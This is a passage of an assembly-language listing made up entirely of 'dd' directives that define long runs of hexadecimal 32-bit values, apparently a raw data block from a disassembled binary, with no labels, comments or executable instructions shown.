		dd 9695EADh, 0F21A52E6h, 84FE7AE8h, 0C52DA4BAh,	0CFCCF001h
		dd 0F52B0506h, 22204350h, 41683888h, 0E6259FC9h, 70BDD050h
		dd 0B90AA014h, 15AC275Eh, 68C07FFEh, 0E074E50h,	0D505E960h
		dd 65D9FB12h, 0E89E83Fh, 6F051974h, 0E66CC968h,	0CFAFBB0h
		dd 292E4926h, 3A1294ABh, 9F6889B1h, 8E09E9A7h, 2CFB6CAAh
		dd 4C54E5A2h, 70D05DFEh, 0A5F749ABh, 0DACAFB59h, 1839EE02h
		dd 98841A11h, 10F6F3D8h, 8813680Ah, 793291EEh, 0C58F8085h
		dd 253E6856h, 0ED145B5Ah, 0A0ED8078h, 3A0FC51Fh, 3CD771E9h
		dd 480DF102h, 1B5C66CAh, 117F4300h, 0D88B84E9h,	4A015023h
		dd 58057C02h, 0EC27BD68h, 2C6D7C9Dh, 0BF6033Fh,	0BA5D1ED8h
		dd 0B807F4Ah, 57BA6806h, 0F27533BDh, 342D0076h,	22009126h
		dd 0D305D0F7h, 1BD815BDh, 895B5AE9h, 8F079AB0h,	846BE09Fh
		dd 7A95258Eh, 18207552h, 0EB2117DAh, 47D91E5Dh,	6F75383Bh
		dd 1391520h, 110E2D25h,	0F330ED6Ah, 58075210h, 788C13E9h
		dd 616938D2h, 0FB3C1805h, 56643135h, 0C7241C43h, 0F417C26Ch
		dd 9B4B80F2h, 2C7E8A43h, 7989F700h, 0E9474E0Eh,	0B32B4ACCh
		dd 0B64983Fh, 62112E5Ah, 5A5D1091h, 0E7C91CAAh,	0D5F1E04Bh
		dd 46283AD0h, 0F11345A3h, 1DE92BEFh, 0A66F96A4h, 3E097318h
		dd 805FF88Eh, 5C0B6DD7h, 7ADBF732h, 3BC301D5h, 0EDE95DBCh
		dd 0BA882B87h, 0B728F251h, 1A0E1E89h, 64C48042h, 95CFE1h
		dd 0B858C720h, 9D3DF4B0h, 3BDA105h, 891D0DB1h, 0D137C4DFh
		dd 2B5B542Bh, 88770EF7h, 0FAFE2DEEh, 26126756h,	0DEA684D3h
		dd 8930D998h, 4D06FAF0h, 2106FF8Ch, 1459146Dh, 99586440h
		dd 60FB0944h, 3192C779h
		dd 5551D181h, 0FFF2A6FDh, 0F364D1E6h, 0D6ACD368h, 40588940h
		dd 120968A6h, 31246F1Ah, 736331B7h, 19A550CCh, 0B69D7692h
		dd 0BCE392ACh, 0C205C2AEh, 58BA2D00h, 353B0282h, 0F72A4E75h
		dd 0EAC448D5h, 4ACD7DAEh, 6A72A159h, 0E05EAEF3h, 5018F3FDh
		dd 5C2C32F6h, 0CA6D2E27h, 90E989E3h, 82BB4C60h,	9D0EFB12h
		dd 39A44161h, 21D0F601h, 14B82000h, 389F7165h, 3C8782A0h
		dd 8B134BDAh, 0D4CAA922h, 0DE921609h, 65AEF561h, 0CAEA85C3h
		dd 0F541C984h, 5C801A6Ah, 14AD6510h, 80E2C495h,	95744CD5h
		dd 8CCA45F9h, 9489107Bh, 13EE5AD3h, 3E9FBB52h, 0DD415025h
		dd 0B962A683h, 0F0279D1Bh, 5BD528C0h, 39CCC07Dh, 294ADD0Fh
		dd 0E4608A81h, 0BF77317Eh, 13D36FD7h, 1628F0C6h, 0F35B5F25h
		dd 7B8750A6h, 11E02018h, 69570B26h, 885FAE97h, 291F089Bh
		dd 0E9C068AFh, 955D98F7h, 73D1E01Bh, 73D32D5h, 26D008E1h
		dd 3B4359B3h, 662C823h,	6C7FF12Ch, 1341A1B7h, 0D881AE04h
		dd 777F0F76h, 12ADBEF2h, 281B4816h, 0EFC38660h,	5FC264B1h
		dd 6917015Fh, 34315735h, 22E488F5h, 2B2D1300h, 0E92CA220h
		dd 3CCC600Bh, 0AD59F2BFh, 0D968690Bh, 0E93B186Bh, 16F4BC93h
		dd 50DDF4B8h, 65E8D290h, 0CB6A0983h, 19D0F10Ch,	854B6706h
		dd 80EA317Bh, 0F2204D83h, 82ACA26Ah, 0E353DE67h, 0A05B9777h
		dd 0D4EAF67Bh, 0B0274E8Bh, 0E001D165h, 5CEF135h, 0B47B093Bh
		dd 61230A0h, 0C2AFA936h, 177C14E7h, 7582FF47h, 55226441h
		dd 97309FB9h, 25A1B4AAh, 45B724F8h, 0F3668074h,	0F831357Eh
		dd 173FCD97h, 7822A3F0h, 792F2725h, 0ADE9419Eh,	1B392B58h
		dd 0A9FA32Bh, 0EB72FD68h, 0A2EE18Ch, 0B22C5E31h, 0C2EF3454h
		dd 3C6EE6BBh, 0ABEC4A56h, 6ADCA5F4h, 0B540CE88h, 96570C62h
		dd 9DFB9847h, 2CA5190Eh, 6730AED6h, 4C2F7AB8h, 0FD5A453Ch
		dd 2D3D5924h, 0D1C62BFDh, 68590285h, 0D3DC61F2h, 0DE02B1CAh
		dd 403E5830h, 67065EEh,	0E2C1174Eh, 6490607h, 0D7A009FAh
		dd 0BF3A702Bh, 8F763E8Bh, 95264452h, 309B0670h,	4A434F17h
		dd 202CEA80h, 0E7051C06h, 885AD530h, 9CB72A0h, 0BA76820h
		dd 4D201446h, 0B4F778C3h, 997BD31h, 0C7E32C6Bh,	0FA7F9C05h
		dd 9DFD57A7h, 49EB484h,	30A9C368h, 32C8D327h, 7014C9F6h
		dd 58A3D05h, 168B0B06h,	4038108h, 0C34F2595h, 0A3E4BBECh
		dd 0B75E104Ah, 37EA3860h, 0BB046CCDh, 0C23C508Ch, 0FD3E3C0h
		dd 29762E2Bh, 0B608A02Dh, 5BFE0252h, 9BFD62F6h,	0A1260570h
		dd 0E86C2856h, 3C7C059Fh, 8AC6E97Eh, 0A595C26h,	2D2EEE06h
		dd 0CE7F1669h, 1096A82Fh, 4F6168DEh, 0AF353142h, 60F6DB3Ah
		dd 2F207C01h, 4F8F6813h, 29C5302Ah, 46086939h, 19BCE9h
		dd 8058C128h, 2C393AF1h, 0DCCE27D3h, 0FC763199h, 4C26AFCBh
		dd 6BF10198h, 87E967D5h, 0C3D781F8h, 11DA65B9h,	12CB943Eh
		dd 189C0908h, 0C82A1A30h, 1BF10D7h, 0FB0B9A11h,	2B6C316Ch
		dd 31BA1813h, 4EF7632h,	0A62B84C9h, 94D21509h, 0AB26508Bh
		dd 0B15833A9h, 0EC321A25h, 2F26B601h, 0FD59304h, 2F7B318Ah
		dd 0F536C78h, 103493BDh, 12AEC3B4h, 0E056A46Dh,	66E881ECh
		dd 3AA9701Dh, 5A938BBCh, 25D4FEEBh, 0C265DB79h,	0FF4E29ECh
		dd 0F8EBB24Bh, 5ACE39F9h, 0C09B02F6h, 0B3E903EEh, 0FE9D29D8h
		dd 25AB78AAh, 6ACE17C0h, 95475519h, 3050DE19h, 0D48AD36Eh
		dd 4D9E9D9h, 0E0A1CC2h,	46D3E2A6h, 7A54F63Fh, 0FE0B2EBCh
		dd 0F2F8660Fh, 87436077h, 3B9906F6h, 0BECEF89Dh, 207E25DBh
		dd 24987E6Bh, 6336006Fh, 0F6E9075Eh, 0D02FDFB4h, 2D5B0389h
		dd 4C7C2BD3h, 0EB49C9F2h, 26D72A89h, 98FE8FB4h,	21287F7Bh
		dd 1CB41201h, 3BBF5700h, 977A484Ah, 0B8A47DDCh,	1EE6D212h
		dd 0ED6B9112h, 868A042h, 4B1ABF30h, 5D167E44h, 0D4BEEA01h
		dd 337DAB80h, 7DE4AC02h, 0CCC56B44h, 8B3A131h, 0B2189F58h
		dd 5DF1430Ch, 3C575F04h, 79BCE1C1h, 6363507h, 8CF9E46h
		dd 915B423Fh, 0E05F6539h, 82F270B1h, 0C8804558h, 1BE45B8Bh
		dd 0BA050B90h, 46564D73h, 880FE85h, 0E64CC89Ch,	806CB731h
		dd 0F955AEB0h, 0B1A67E95h, 1578FF8Bh, 6710BA07h, 96A21E8Ch
		dd 0CC0E4D6h, 1CB60622h, 5A7ED87Ch, 0BB536901h,	79E32A26h
		dd 7D58ED3Fh, 0F218CB12h, 8F05AEF9h, 0FA50C05Fh, 44C57597h
		dd 4F5E0C23h, 0BE38981Bh, 0E44AFA06h, 71392938h, 0BD969F5Eh
		dd 1CB74076h, 5F5DB09Eh, 15178A9Bh, 84E727DBh, 0F117D7ACh
		dd 7DD680E3h, 29F18D59h, 0D462CBDEh, 4B95C2FBh,	74A0768Eh
		dd 8808776Fh, 0C8540173h, 0FF5A160Ch, 274E1B70h, 0D7716006h
		dd 11CAEE9h, 0F61758B3h, 0F9D713A9h, 54CD054Bh,	8701025Fh
		dd 40383BC5h, 0C67CA23Bh, 97BF44E9h, 621C9B5Ch,	5D486645h
		dd 8F8E38F9h, 8172FBD3h, 9F45445h, 0B3895750h, 69699D8h
		dd 0BA46E9D0h, 0EC800001h, 58E730B6h, 9798D7F6h, 4BD45352h
		dd 5F2B05F5h, 9E20FDA3h, 2FC0E495h, 0DD56679Fh,	9BDEF378h
		dd 5456091Dh, 57537A30h, 0A745683Ah, 9F716021h,	0C7308019h
		dd 5E3D5CB1h, 0E67E27B1h, 11367CEAh, 798AE99Dh,	0E542C56h
		dd 69ABC1CFh, 0B8EAEBBEh, 999423F8h, 312A6D88h,	3AECD874h
		dd 1151B3D1h, 0D3D9E804h, 3C439841h, 62EB494Ch,	87B66E42h
		dd 55EC29F2h, 17ACEF5Ah, 95102A7Dh, 675C9DBAh, 64424C93h
		dd 9004CD68h, 24033B53h, 17EF3D22h, 0F79F401Ah,	4016290Bh
		dd 4597F8F0h, 8E7A3CFh,	0D1092EBCh, 363A01EDh, 4021F24Bh
		dd 4C7C33E0h, 587D43B3h, 71728F5h, 7904BA97h, 61C2DF89h
		dd 8E7234Bh, 38318CC1h,	4231F498h, 0CF6A02C2h, 31EB4B92h
		dd 0D0763Eh, 0F0F70159h, 0F9BE48D6h, 42B301A4h,	30218E32h
		dd 6813A2B4h, 0C313206Eh, 9DEFAF25h, 0E13AF448h, 0CABE10D2h
		dd 0C145CB06h, 0DE834B23h, 0D5E461BFh, 6E54FDE1h, 8B9DD0B3h
		dd 0E35902C1h, 3528E985h, 0DE4CF095h, 288DF07h,	0A9B159EFh
		dd 9AECF930h, 4503F5B0h, 0F608E1C0h, 0A0C1C0D9h, 0F48A20E9h
		dd 69B05000h, 0BC0C7104h, 0C592D652h, 0CF500CE9h, 4459CAFDh
		dd 0FA00D29Dh, 41356385h, 0EE4BD1h, 143B5D7Ah, 404EE5E9h
		dd 57D4A6FDh, 26B5804h,	0A4C0FA52h, 589DED3Dh, 0B97AFEDBh
		dd 0D06492ECh, 0D7253101h, 0CF012805h, 803BD55h, 45DEF29h
		dd 9D44FB12h, 2234127Bh, 0C52F83BBh, 0BC67BFBCh, 0FFD5ECA2h
		dd 575E72B8h, 2AE7EFFEh, 33558501h, 107F5064h, 292F07C9h
		dd 5B4858F8h, 174CDE4Ch, 7F2010C7h, 0E31949EAh,	0C57C5C27h
		dd 0E6D7F4Fh, 0CF2FA5B2h, 3093CFEFh, 9DBE1D21h,	408D1760h
		dd 3EF60246h, 1861F24Dh, 6F007E6Fh, 0C7FEDFF6h,	0CB43E50h
		dd 5DC29125h, 5EF34ED5h, 0E8529002h, 0BA0A5253h, 9D6A3D60h
		dd 0F6930BBAh, 0EE0AD799h, 97D31595h, 16A1DA26h, 0F6602262h
		dd 0FF51AB57h, 26C86D29h, 2A303C25h, 2FBA0C45h,	0D0145BBCh
		dd 0AF21EA87h, 4AF1665Ah, 0A4B20704h, 45A96882h, 20AE4DDFh
		dd 14B84DBBh, 8264C04Ch, 71388703h, 2BAAD5CEh, 7E508580h
		dd 0C5EABD75h, 0DCC0080Dh, 9133729Ah, 0A1560C55h, 947F3911h
		dd 6808028Ch, 985D4471h, 12E290Dh, 0C583415Ah, 2BF74DFFh
		dd 4D9DA2E0h, 29507B32h, 1162DEBh, 0B509BA72h, 0EDC0CDh
		dd 0E9EEB273h, 0F3F84D67h, 0E514DE48h, 7E601ED8h, 90F05924h
		dd 0E60190B9h, 62891083h, 0D9D0E8A5h, 77BE8416h, 5A3145EAh
		dd 0A1AAB8B6h, 30F8D821h
		dd 0BA33B510h, 207637DAh, 3410762h, 0B5B9D0F7h,	4B512D18h
		dd 758100BAh, 0BF13C87Bh, 8D362904h, 81FA316Fh,	35CD0423h
		dd 0B8813B3Fh, 108F21DDh, 8FCBF828h, 421D3654h,	2C146799h
		dd 0EE3AD6D3h, 0FE87D26Fh, 8F09704h, 5CFF22AAh,	25B32F7h
		dd 279E2B2h, 0FBF6348Ah, 0EE30A667h, 0DCF1289Ch, 5E012884h
		dd 0BC2485C8h, 68AD056Dh, 0D3AC241Ah, 360B90C0h, 2CC72943h
		dd 0C2CED305h, 0F6B1E913h, 0E1CE3DF7h, 0C2BA61DBh, 425DF3D8h
		dd 5AFC4EFFh, 1DA901A5h, 0CC1FA84Ah, 145BE942h,	9941E0BDh
		dd 0A9605B21h, 4E063D10h, 0AF72A063h, 0AFCE3F3Bh, 0C1350123h
		dd 32B04E3h, 0A93652BDh, 0D829EAB1h, 7A9D1644h,	4A088271h
		dd 0BACFFDF0h, 0CE905725h, 8982CCF4h, 333C7FADh, 0C9EF71B7h
		dd 0C6E23A74h, 302D0045h, 6858BE52h, 38FF4FAFh,	774BF3C5h
		dd 9C57CCCCh, 2DEA4E23h, 0AE128B15h, 0B3E86E8h,	71AC4B7h
		dd 0AB0675B8h, 1B7AD671h, 570F2E98h, 642A0929h,	9AAE1FD1h
		dd 56E521Eh, 47762526h,	0F01A4C90h, 16BF7B68h, 0DDE860Bh
		dd 413A1579h, 3FAAA35Ah, 41F06ACCh, 7C842F4Bh, 0C7A05AC2h
		dd 4A76BFDDh, 0BF8C40A8h, 667F2A4Ch, 1268B80Eh,	0D1EC37EFh
		dd 0D29C05Ah, 542D36AEh, 92C6FC7Bh, 0BAC981B5h,	81D7782Ch
		dd 7D9A76D0h, 181D0D20h, 1808587Bh, 9D2E1FF8h, 314C741h
		dd 7661818Dh, 46EC0F28h, 0F86BE1CFh, 9FE9F052h,	0E517C0E1h
		dd 31917510h, 74CD872Dh, 40CB121Ah, 6C4CBBDEh, 57905144h
		dd 0AD54D8B0h, 0BC9654C5h, 66F30452h, 0A7AA17AEh, 68CFC407h
		dd 86DE5909h, 950BDC2h,	93DA7E82h, 439C5F09h, 50775495h
		dd 10DD7D05h, 0AC6E5801h, 50D69743h, 0ADE09D71h, 41BCFB01h
		dd 0A351557Ah, 0CBF8FE4Bh, 78098101h, 0E9EF2033h, 0F3D4C12Dh
		dd 25682DE9h, 6E7B5EEDh, 2A3910BFh, 52AABC6h, 4247584Ah
		dd 0E6A58030h, 0F59FC64h, 0D6E91775h, 0BE687E81h, 0BD24492Fh
		dd 53F15DC8h, 0A26D5A09h, 976C8801h, 2DF90508h,	0F38854FCh
		dd 45B126CAh, 1695E8D9h, 50FCF1E1h, 6C6E62D9h, 0AB71C4D9h
		dd 8A188114h, 13F37584h, 8AB1382Eh, 5C06A909h, 0B6BE5019h
		dd 61584972h, 0F7060CDBh, 0BA08D0DEh, 99C63D1Eh, 297DB285h
		dd 4E0BCBF0h, 60B72EABh, 436851A6h, 2C5F2D1Eh, 0FCB91525h
		dd 2FF34C0Fh, 9F65F158h, 0E090D654h, 7BB55D3Bh,	0BD688409h
		dd 1090E311h, 834C4958h, 74D9B84Eh, 2E7C113h, 75D02907h
		dd 0F9C43AB4h, 0A82ECC99h, 0B3BEB5DEh, 95922221h, 0F9B5ADCCh
		dd 5ABC0CDCh, 0FD25882Ah, 33F20F5Bh, 0F0C24F92h, 0C1EA9E7Eh
		dd 89603968h, 68517061h, 5CD101DAh, 405EA5E0h, 15CFEF52h
		dd 0BCDE4A7Bh, 5A08C714h, 697AC899h, 17916A40h,	0D83BBDF3h
		dd 3ABF293Ah, 79AAC4C7h, 0B745E019h, 0AF940F70h, 2E5C184h
		dd 0DE0191BAh, 0FE97483Ch, 60B55312h, 9D0493BCh, 0C588B4D4h
		dd 0DA8A0427h, 750EE45h, 6A555008h, 0CE938260h,	0F43DA71Eh
		dd 0C99EFAh, 4589CA81h,	3F6361Dh, 6082E56Ch, 0DFBD0455h
		dd 0EE5F9A0Ch, 4C996CA0h, 0D3A65ACEh, 0C1C0479Eh, 907A0F1Bh
		dd 1FF1A077h, 0AC3AE1FFh, 233F22Fh, 887873E9h, 2E6CBA05h
		dd 3A002CBh, 0C27ABE08h, 5F059F4Fh, 7D800909h, 9E689368h
		dd 26F61C1Fh, 13DB810Eh, 6893D8EBh, 7F7CA969h, 583F28EEh
		dd 665AAD55h, 78BA003Ch, 0E9112D02h, 1AC0E2CAh,	1870B1BDh
		dd 595B9D07h, 0E50110ACh, 77AB65F4h, 5848CE40h,	0F73E13EAh
		dd 0A7F8A8DDh, 0B7EE7BBBh, 2771B034h, 0EF480129h, 2E388472h
		dd 36D1BE13h, 7B805944h, 6FB951EAh, 100E4121h, 0DF55C981h
		dd 0FDF16BD7h, 0E4D98E7h, 93184C15h, 0C04F2A04h, 3FAFE8C6h
		dd 13F2975Dh, 270E38ADh, 12FE4314h, 0BF8035DDh,	5BC4348Ch
		dd 0AC1628E8h, 0B9380343h, 0AC4F0238h, 9DAAD311h, 96B26377h
		dd 0A473DBEh, 33E9049Eh, 0D6B80109h, 53708689h,	622ABB00h
		dd 0D921133Eh, 0EDF4C15Bh, 6A617E75h, 0EA0506F2h, 0E873E55Eh
		dd 0D025787Ah, 0B56764C0h, 0BAADD153h, 5153556Dh, 6007D9CBh
		dd 55294F63h, 5E3BAF90h, 17C873Ah, 0D829E9EEh, 0A05C654Fh
		dd 0A7DC1A04h, 651D6540h, 4AD85CC1h, 18816E67h,	10130558h
		dd 3E09D951h, 0DCA9AD87h, 8B1C2CBh, 67F5EBA0h, 395B0B45h
		dd 3AC760E4h, 2D896518h, 0A921A6E9h, 0E050C330h, 0FDB15CEFh
		dd 1CBD5A4h, 0F6713DB3h, 886BB547h, 0E90508C1h,	23A4415Eh
		dd 742524B1h, 3F47833Eh, 0A4A97304h, 765C3E79h,	1877484h
		dd 0CBBFEF85h, 39AE4E57h, 273076D7h, 7786420Bh,	20AEDC60h
		dd 302FC139h, 97CF7CEFh, 9A285029h, 2D9318F7h, 9EED0CBFh
		dd 1513113h, 6E856C56h,	30D2F7BEh, 0D828B1D2h, 251C792Ch
		dd 0B752CA11h, 0AD5EF23Ch, 688E8746h, 41842911h, 73BCD9FBh
		dd 0EDC12885h, 0D2C10107h, 8246F21Dh, 57A4BE7Eh, 40E5E30h
		dd 8AAAE9h, 0B1515266h,	0E3B212CAh, 17D01C28h, 0C60CBAD0h
		dd 0E804880Eh, 0B2520951h, 55FFE27h, 0C1FF290Ch, 3AE353D9h
		dd 0CEE5F30h, 0B429401h, 719BFA3Bh, 47D43FF2h, 74CDB00Bh
		dd 0ACFE423Ah, 0F188C20Eh, 2493755Ah, 2AC655F1h, 523F31E2h
		dd 1C995D19h, 87B86E5Ah, 7D9DF603h, 7E20471Ch, 0AC665B05h
		dd 6838D882h, 0B3BB8080h, 454C1B72h, 56E2023Dh,	77317246h
		dd 0ED952850h, 41FF288Ch, 51B63314h, 7339EC47h,	0B4E9180Bh
		dd 0CF7A79CDh, 0EA1C32C4h, 8D87241h, 0D2436C30h, 10D13DCh
		dd 0B636AFEBh, 5768168Fh, 0C3B7AC65h, 92C6CE9h,	19E1ED7Dh
		dd 0C4AE1309h, 0F55B0854h, 77B54377h, 9BF8B4Ah,	0F9CC6AACh
		dd 0F6E38816h, 0AB6A12FFh, 95B36A03h, 0E961BF08h, 0DC2A8BDDh
		dd 0F84A0159h, 315B51F7h, 2E90804Dh, 5B0D4231h,	57D6BA00h
		dd 31266D04h, 84C45AD1h, 0C8D81205h, 8E49F552h,	0E1054941h
		dd 2870E90h, 107CF5BFh,	3F3B7E34h, 3A93C5BFh, 0B531AFF3h
		dd 8C310D49h, 0E722D9FDh, 0E02F00D2h, 297A6222h, 58040195h
		dd 8D2A4C01h, 0E9110141h, 9A86C79h, 4634E668h, 1D26204Fh
		dd 86B15B4Fh, 0DC4AB32Fh, 9002378Bh, 2F63CE80h,	84807E1Eh
		dd 0EDB5DADh, 8E061B7h,	3C51E20h, 0E9279D50h, 3902D5CEh
		dd 0E629D8E2h, 80A75E06h, 214EC4F2h, 9D20E925h,	215C4CF1h
		dd 94F5DB25h, 5A8EB654h, 4A51A75h, 800399D4h, 27C10BEEh
		dd 0F8276BCDh, 0FC0E8882h, 256BEF2Dh, 0B214F8E2h, 0F919A60Bh
		dd 0E9EF8109h, 27833A22h, 764CBEF5h, 0C912C2FDh, 39C146F5h
		dd 2E7C5352h, 8F7C8D1Fh, 825255B9h, 8E40F55Ah, 3A943FD0h
		dd 1BFA6307h, 4B71CDC0h, 5D50B7BAh, 0BB4FF902h,	85F5315Fh
		dd 28EACED2h, 5A40474Eh, 33BB0353h, 1772E69h, 608FA811h
		dd 0CB41C31Ch, 0DD04BA23h, 4D44EAABh, 1D1F7B57h, 0DF88F6Fh
		dd 0BA665944h, 257797CCh, 0F5F85560h, 9F572540h, 0DADE848h
		dd 14173B24h, 0E475902h, 0A5A1E07Ch, 60D3047Bh,	91DAAEE9h
		dd 38616339h, 3365C6ACh, 99BF074Fh, 6C61E732h, 3187375h
		dd 0B1A40EF9h, 2F5881ACh, 0C6CDA8A1h, 0A23605DBh, 0BAFCA9E1h
		dd 0F3C21C90h, 1EDF2741h, 0EA14DB74h, 6BC25508h, 0B0E8980Bh
		dd 17F4BBC8h, 0FE232679h, 55D4A70h, 6B6202ADh, 0EC2686Ah
		dd 48191877h, 36EC202Ch, 5D79E2B7h, 22C67B9h, 0AA12D5E5h
		dd 3995D85Fh, 0EE069FF2h, 0E4D101FEh, 76F9E120h, 12104BC3h
		dd 2C9F868h, 0EB80E328h, 7F31C20Ah, 0A0449D59h,	50DEBCh
		dd 35181D0Fh, 0DC25BE65h
		dd 7D0E58C4h, 0C03B304Ah, 0D314E4EFh, 9BE91777h, 2472BB0Bh
		dd 0C2FD10D2h, 5BCC7E9Dh, 0A7A02BF2h, 9C595FBEh, 1FE89D59h
		dd 2FD7EA29h, 95801F84h, 0B0B551D8h, 508C27EAh,	105387Bh
		dd 1DD95BDAh, 0C68AE47h, 3BC619B4h, 0DE9D889Ah,	2B962CEh
		dd 25F2F071h, 4E83EFF6h, 0E97A0B5Fh, 50A5D91Eh,	0E2B201C3h
		dd 7A2D6866h, 0DAB47D21h, 824E1670h, 0E224E17Fh, 0A8EA99D3h
		dd 0ECBFC47Fh, 4268C2C1h, 80E45176h, 4FC05B8Ah,	160CF181h
		dd 0AE7A3421h, 0C97B26B8h, 0CDE109A8h, 0CA751B77h, 3809D7C0h
		dd 5C701C7Fh, 0E2329056h, 18419634h, 0A1282C8Dh, 0C40437ECh
		dd 13BAF847h, 38ABEE83h, 0B74AE9E4h, 57597602h,	6709C8F7h
		dd 0C659C0EFh, 15807A4Fh, 0E8E6C137h, 95DDBF2h,	0AB8F16E2h
		dd 338F185Fh, 3F1FDFEBh, 0D35F634Eh, 0FA96624Bh, 2F7C3A4Dh
		dd 3FBFBC5Bh, 9242D35h,	793D7E4Bh, 0C193B51h, 90415EF0h
		dd 4074B12Ah, 17321268h, 0F646A1DDh, 690E5A63h,	92734EBAh
		dd 0BF0293F0h, 7A5F6186h, 581CEF67h, 3031D6FBh,	579AF714h
		dd 0F1D7D1FFh, 35FFF183h, 8D987A74h, 0FB5B4BDFh, 0BFD1FC31h
		dd 0D5F71C81h, 7107E5C1h, 2D4C6CF6h, 502DF45Bh,	352ED2E6h
		dd 0EE00DB1Eh, 0B49CCE22h, 66240B2Dh, 705C1682h, 670CA409h
		dd 0E133F85h, 4ECFB7E8h, 0FB4AC7ACh, 12EFB012h,	32D10095h
		dd 4123DA47h, 0F892E92Dh, 535B97C6h, 3873F869h,	0EF4B6014h
		dd 4562B33Dh, 8F4752D2h, 1283203Bh, 0E6522768h,	5E44800h
		dd 0FAE0D47h, 6094F1BEh, 0FD09CF09h, 0A261502Eh, 0D8C51260h
		dd 517809BBh, 2D5CD81Fh, 0FAC4FC2Fh, 99B5966Ch,	0E32F011Fh
		dd 1C87849Ch, 0FB4F74FBh, 4FA405B0h, 0B86E3045h, 71687F07h
		dd 0D263F284h, 6801C083h, 0CC2C4A96h, 647ECF04h, 939074B8h
		dd 88F1072Eh, 625E7D40h, 9BE0B73Fh, 6925E093h, 0E72D78F3h
		dd 0C77529D6h, 0C680453h, 975AEB3Fh, 0BB13400Bh, 0F7EDCFA5h
		dd 23FD94A9h, 0F95B52E3h, 1E89DD9Fh, 16DDCF29h,	0EED39DA9h
		dd 45E02713h, 2DF80301h, 53677D88h, 253469A8h, 0BD552200h
		dd 7FF237A6h, 0AFC50981h, 5082ADE7h, 4CDFFBB0h,	4DE8F489h
		dd 8650549Ch, 5F782494h, 91202E7h, 0EA7943DDh, 1C45BE81h
		dd 853E908Ah, 3F5F1C5Eh, 29263D84h, 2D084FEh, 0A3E2E908h
		dd 68671354h, 0BB93E54h, 14EC97h, 351AB65Eh, 17026E6Ch
		dd 8296E967h, 0DD745463h, 76A28645h, 1986A84Ah,	0D8C9B40Bh
		dd 0B1E8D5EDh, 8A889778h, 0F8281794h, 83C0B435h, 0F9C76826h
		dd 0B700AD23h, 0E9272CD1h, 7CC2C442h, 4005E2C1h, 27D9FE29h
		dd 52E0A48Ch, 21B53EE9h, 1DB3ED3Eh, 0B8F328DDh,	2730E0EBh
		dd 5FFC3BE8h, 5D0508A0h, 487F6852h, 0C128036h, 357A1A47h
		dd 1F943156h, 0AD375925h, 45414930h, 0BC6D1628h, 6C307A01h
		dd 75FBE910h, 71EF8F87h, 0AB2AD579h, 80449F1h, 0E89B21AFh
		dd 59DE93BEh, 3047CABAh, 0CA801FC8h, 96BAF0EFh,	72680091h
		dd 5832C508h, 16E1255Ch, 0C1AE5F17h, 6FEB9B1Ah,	994B40D4h
		dd 2DBB56C8h, 3F2D1770h, 51107CD5h, 40DF6C74h, 6CB9CD6h
		dd 877604F2h, 1FEFD598h, 0CD223744h, 7E9745Ah, 0AC457090h
		dd 0DE985E70h, 0ADE90780h, 970DE6BFh, 2ACA12D9h, 0EC107342h
		dd 4CF80B11h, 0A521694Ah, 508DE6E9h, 7A0FE139h,	285D4E3Ch
		dd 5B4007EDh, 488D908Fh, 0C207B821h, 0C0401E18h, 4D3DF0E5h
		dd 74E9493Bh, 46C34DC0h, 0F6FA0E8Bh, 41784BFEh,	83268719h
		dd 56063Dh, 0A454BF30h,	295A5879h, 32205F2Fh, 0C227D4E4h
		dd 9071E431h, 17208E9Dh, 9855685Dh, 0E025F06h, 0A6E9422Ch
		dd 5B1BA4BDh, 2DAB3C94h, 0D43517EEh, 805609DFh,	56CFA36h
		dd 53AD62Eh, 8A35623Eh,	9C512F6Eh, 4B12B725h, 0E87D5955h
		dd 79DD02AAh, 6A773513h, 1080B80h, 5B596843h, 66F3336Ah
		dd 2B1E7FE9h, 0E23AE429h, 0F9A90CF1h, 5FA6CEF3h, 7A7AE6D3h
		dd 0C9C2CD4Bh, 0F0FBF65Bh, 626B0CE9h, 0F000D7D7h, 1D3D3F2Bh
		dd 0EB5DF4FAh, 2FD65D95h, 7B1C5F7Bh, 95A158BFh,	3020E834h
		dd 29BD0423h, 0E02F0C7Dh, 4B14165Dh, 4B06392h, 6F28688Ch
		dd 6C6B81ABh, 0A8872F4Dh, 3D9457B9h, 0DAEA812Dh, 0E60CC0B9h
		dd 112D253h, 5CE9CA16h,	844722E1h, 0FF7D3472h, 3D8F39A3h
		dd 99EB9F00h, 686BB610h, 0C199BC30h, 70734CA3h,	5402C309h
		dd 0E9453344h, 9D73F018h, 0E075EA92h, 8C7C4DDEh, 0D281E913h
		dd 466736C0h, 2A30F53Ah, 104D182Ah, 4FD9B071h, 0E977D10Bh
		dd 5AF260A0h, 1CD42D68h, 7A7267FEh, 45E9252Dh, 21806389h
		dd 9437C168h, 3231589Fh, 0EDDD8ABFh, 6B442F5Dh,	68632088h
		dd 7A4F18B4h, 9E3324Ah,	4FD45C14h, 7DFAFC89h, 7A649A99h
		dd 2BAEF417h, 31AA4B3Eh, 3A5FFD0Dh, 0F58B8C98h,	250EA36Bh
		dd 99CC1EFh, 0FB646Bh, 0C8022B92h, 82970122h, 93F4969h
		dd 0F9B49784h, 600B0747h, 4DA26A3Ch, 62F7FCC4h,	0C347C9DAh
		dd 0FD12DBFh, 0DEA7DE1Bh, 6A35D3C7h, 0CAFB2AEFh, 1B257D59h
		dd 3AE4E63Ch, 21B7C8Ah,	0BEA4F088h, 11F4B265h, 7AA141E3h
		dd 0E40F6C5h, 0BF783605h, 51E8E229h, 9903072Dh,	81EB4A08h
		dd 15A793Eh, 0DB30BA52h, 831C1467h, 973CFEAh, 7CA22130h
		dd 3797C180h, 437D0344h, 0FDFCB00h, 59E9624Ah, 3050C7F9h
		dd 0AC5874E5h, 0F3211FF2h, 0A10CFD8Ah, 7008DE6Bh, 74496856h
		dd 21E9091Ah, 0F519A430h, 3987DC80h, 0B93A4ECEh, 0D3E541B4h
		dd 0C87203D1h, 28F4CD01h, 8FE684B7h, 8418A2EBh,	917BAEDh
		dd 0B876962Fh, 0D4B1D525h, 7807F95Fh, 4C8B59ACh, 208E123h
		dd 0AC53D02Eh, 7BF3E332h, 65A99C0h, 4EDFE2E9h, 50D4B4AAh
		dd 0AE27317h, 5F05FDE2h, 0F92F1D68h, 1A8B9E66h,	98EC3332h
		dd 606C7F54h, 1C936A45h, 0F7EE1527h, 1604DD6Dh,	8258C802h
		dd 48AD87FBh, 9B5CBBC3h, 0F81B2717h, 56B72A2Fh,	0AAF7818Bh
		dd 21345803h, 7BEAF602h, 3F34165Ah, 0CBAE4838h,	42445A6Dh
		dd 74BEDA86h, 74DFFB5Dh, 0E9CC454Ah, 2ADECD9h, 6A182D35h
